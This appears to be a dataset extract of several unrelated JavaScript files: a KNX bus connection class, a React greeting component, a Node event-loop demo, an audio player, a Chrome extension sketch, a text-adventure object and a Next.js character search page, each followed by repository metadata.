var Driver = require('./Driver/DriverInterface'),
Message = require('./Message'),
impl = require('implementjs'),
invoke = require('underscore').invoke,
without = require('underscore').without;
module.exports = Connection;
/**
* The connection object represents an interface to the knx
* bus. It needs a specific driver instance for the used
* medium like KnxIP.
*
* @class Connection
* @param {Driver.DriverInterface} driver
* @constructor
*/
function Connection(driver) {
var self = this;
impl.implements(driver, Driver);
this._driver = driver;
this._listeners = {};
this._readRequests = {};
driver.on('message', function(message) {
switch(message.getCommand()) {
case "read":
self._onReadMessage(message);
break;
case "write":
self._onWriteMessage(message);
break;
case "answer":
self._onAnswerMessage(message);
break;
}
});
}
/**
* Called when driver emits a message. This callback will trigger
* listeners for the destination address of the given message.
*
* @param {Message} message
* @private
*/
Connection.prototype._onWriteMessage = function(message) {
var rawAddress = message.getDestination().getNumber(),
callbacks = this._listeners[rawAddress];
if (callbacks) {
invoke(callbacks, "call", this, message);
}
};
/**
* Triggered when driver receives a read message. Currently I can't
* figure out any pattern to handle a read situation.
*
* @param {Message} message
* @private
*/
Connection.prototype._onReadMessage = function(message) {
};
/**
* Called when an answer message is received. It goes through read list
* an looks for any matching read request. Callbacks of matching reads are
* fired and requests are deleted.
*
* @param {Message} message
* @private
*/
Connection.prototype._onAnswerMessage = function(message) {
var callbacks = this._readRequests[message.getDestination()];
if (callbacks) {
invoke(callbacks, "call", this, message);
}
};
/**
* Sends a message to the bus. This method creates first a connection
* if the driver is currently not connected. After a connection was
* established, the message will be send.
*
* The given callback will be executed after the message was send successfully
*
* @param {Message} msg
* @param {Function} callback
*/
Connection.prototype.send = function(msg, callback) {
var driver = this._driver;
if (!driver.isConnected()) {
driver.connect(function() {
driver.send(msg, callback);
});
return;
}
driver.send(msg, callback);
};
/**
* Adds a listener for messages with the given destination address.
*
* @param {GroupAddress} address
* @param {Function} callback
*/
Connection.prototype.on = function (address, callback) {
var driver = this._driver,
listeners = this._listeners,
rawAddress = address.getNumber();
if (!driver.isConnected()) {
driver.connect();
}
listeners[rawAddress] = listeners[rawAddress] || [];
listeners[rawAddress].push(callback);
};
/**
* Removes listeners for the given address. If a callback funciton is given, only
* the listener with this function is removed.
*
* @param {GroupAddress} address
* @param {Function} [callback]
*/
Connection.prototype.off = function(address, callback) {
var listeners = this._listeners,
rawAddress = address.getNumber();
if (!callback) {
listeners[rawAddress] = [];
return;
}
listeners[rawAddress] = without(listeners[rawAddress], callback);
};
/**
* Reads data from the bus.
*
* Technically, this method stores the given callback and sends a mesage
* with "read" command to the bus. When a message with "answer" command and
* the same address is received, all stored callbacks are fired. Handling of
* answer messages is implemented in #_onAnswerMessage.
*
* @param address
* @param callback
*/
Connection.prototype.read = function(address, callback) {
var msg = new Message();
msg.setCommand('read');
msg.setDestination(address);
if (this._readRequests[address]) {
this._readRequests[address].push(callback);
return;
}
this._readRequests[address] = [callback];
this.send(msg);
};
/**
* Sends write message with the given data to the given address. This method is a shorthand
* for creating ans Message instance, set its command to "write" and sending it to the bus.
*
* @param {GroupAddress} address
* @param {array} data
* @param {Function} callback
*/
Connection.prototype.write = function(address, data, callback) {
var msg = new Message();
msg.setCommand('write');
msg.setDestination(address);
msg.setData(data);
this.send(msg, callback);
};
/**
* Disconnects the driver when connected.
*/
Connection.prototype.disconnect = function() {
var driver = this._driver;
if (driver.isConnected()) {
driver.disconnect();
}
};
| true |
941ff73861264e6ce30b0258975b7d0b165bcf23
|
JavaScript
|
faahim/nest-tab
|
/src/Components/DayInfo.js
|
UTF-8
| 1,340 | 3.34375 | 3 |
[
"MIT"
] |
permissive
|
import React from 'react';
import { currentWeekday } from "../utils/currentWeekday";
//Generate and renders text for day information section
function DayInfo(props) {
const day = currentWeekday(new Date());
//Structures weather text
const weatherInfo = props.weather ? " It's "+props.weather.currently.summary+" outside with a temperature of " +props.weather.currently.temperature.toFixed(1)+"°C" : "";
const timeOfDay = new Date().getHours();
//Decide greeting based on time of the day
let greeting = "Hi";
switch(true) {
case (timeOfDay >= 0 && timeOfDay < 12 ):
greeting = "Good Morning";
break;
case (timeOfDay >= 12 && timeOfDay < 16):
greeting = "Good Noon";
break;
case (timeOfDay >= 16 && timeOfDay < 18):
greeting = "Good Afternoon"
break;
case (timeOfDay >= 18 && timeOfDay < 25):
greeting = "Good Evening"
break;
default:
greeting = "Hi";
break;
}
return(
<div className="daySummary">
<h1>{greeting}, {props.name}!</h1>
<p>This is an amazing <strong>{day}</strong>!
{weatherInfo}<br/>
What will you accomplish today? :)</p>
</div>
);
}
export default DayInfo;
| true |
b509fae05040738d474047e6e0f2e9a0cf8bd3bc
|
JavaScript
|
SidneyXu/learn-to-program
|
/coffeetime-parent/NodeGun/src/16_process.js
|
UTF-8
| 363 | 2.65625 | 3 |
[] |
no_license
|
/**
* Created by mrseasons on 16/3/9.
*/
process.on('exit', function (code) {
console.log('exit code is', code);
});
console.log(process.platform);
setTimeout(function () {
console.log('timeout');
}, 0);
setImmediate(function () {
console.log('immediate');
});
process.nextTick(function () {
console.log('tick');
});
console.log('execute');
| true |
ce1cbc3526ff4ca8942f946948c8b48243b22e9b
|
JavaScript
|
huihuiye/web4
|
/HTML5/NO.2Audio、拖放、文件读取/作业/audioPlayer/AudioPlayer.js
|
UTF-8
| 1,360 | 2.671875 | 3 |
[] |
no_license
|
/**
* Created by liuyujing on 2016/12/10.
*/
(function () {
function AudioPlayer(audioNode,superView) {
this.audioPlayer = audioNode;
this.audioListView = new AudioListView(audioNode,superView);
this.audioList = this.audioListView.audios;
}
AudioPlayer.prototype.title = function () {
return this.audioList[this.audioListView.curAudioIndex].audioFileView.textContent;
};
AudioPlayer.prototype.next = function () {
var self = this;
var reader = new FileReader();
reader.onload = function () {
self.audioPlayer.src = reader.result;
};
reader.readAsDataURL(this.audioList[++this.audioListView.curAudioIndex].file);
};
AudioPlayer.prototype.pre = function () {
};
AudioPlayer.prototype.loopType = function (type) {
var self = this;
switch (type){
case "0":
this.audioPlayer.loop = true;
break;
case "1":
this.audioPlayer.loop = false;
this.audioPlayer.onstop = function () {
self.next();
};
break;
case "2":
this.audioPlayer.loop = false;
break;
default:
}
};
window.AudioPlayer = AudioPlayer;
})();
| true |
394e9df9542f9c5a5615c35248d7d3ab17be75de
|
JavaScript
|
Asmidus/Git
|
/JavaScript/Basics/index.js
|
UTF-8
| 107 | 2.71875 | 3 |
[] |
no_license
|
console.log("hello fuck");
let a = "d";
a = 2;
if (typeof a == "number") {
console.log("true");
}
| true |
1dc9873b18320483174323e95bf7716ecfd3a4b4
|
JavaScript
|
jonathansham/amazoogle
|
/sketch.js
|
UTF-8
| 354 | 2.609375 | 3 |
[] |
no_license
|
function setup() {
noCanvas()
let userinput = select('#userinput');
userinput.input(newText);
function newText() {
chrome.tabs.getCurrent(gotTab);
function gotTab() {
//send a message to the content script
let message = userinput.value();
let msg = {
txt: "hello"
}
chrome.tabs.sendMessage(tab.id, msg);
}
}
| true |
c89042044609aef87b92a50ae6bd47cb3cc5ef6f
|
JavaScript
|
tomdionysus/moondial
|
/game/things/skeleton.js
|
UTF-8
| 719 | 2.65625 | 3 |
[] |
no_license
|
const Container = require('../../lib/Container')
module.exports = class Skeleton extends Container {
constructor(options) {
options.id = 'skeleton'
options.description = 'A broken skeleton.'
super(options)
}
init() {
this.addThing('humerus')
this.afterAction('take', (cmd) => {
if(cmd.moveThingId=='humerus') {
if(cmd.actor.isPlayer()) {
cmd.gameEngine.writeLine('That\'s not funny at all.')
this.description = 'A broken, sad, skeleton. You Monster.'
}
}
})
}
afterTake() {
this.gameEngine.getCharacter('ghost').narrative('raises his head and looks interested')
}
afterDrop() {
this.gameEngine.getCharacter('ghost').narrative('looks defeated and forlorn')
}
}
| true |
8c87ffaf83582e548be8bd691e2d645df4d5e683
|
JavaScript
|
srknml/Rick-and-Morty
|
/pages/characters/search-results/[search].js
|
UTF-8
| 1,089 | 2.515625 | 3 |
[] |
no_license
|
import unfetch from "isomorphic-unfetch";
import React from "react";
import Utility from "../../../components/utility";
import _ from "lodash";
import Charactercard from "../../../components/charactercard";
import Layout from "../../../components/Layout/layout";
const searchpage = (chars) => {
return (
<Layout title={`${chars.info[1].search} - Rick and Morty`}>
<Utility value="disabled" />
<Charactercard characters={chars.results} />
</Layout>
);
};
//Statiac propsa çevir
searchpage.getInitialProps = async ({ query }) => {
let res = await unfetch(
`https://rickandmortyapi.com/api/character/?page=${1}&name=${query.search}`
);
let data = await res.json();
const numOfPages = data.info.pages;
for (let i = 2; i < numOfPages + 1; i++) {
let tempRes = await unfetch(
`https://rickandmortyapi.com/api/character/?page=${i}&name=${query.search}`
);
let tempData = await tempRes.json();
data.results = _.concat(data.results, tempData.results);
}
data.info = _.concat(data.info, query);
return data;
};
export default searchpage;
| true |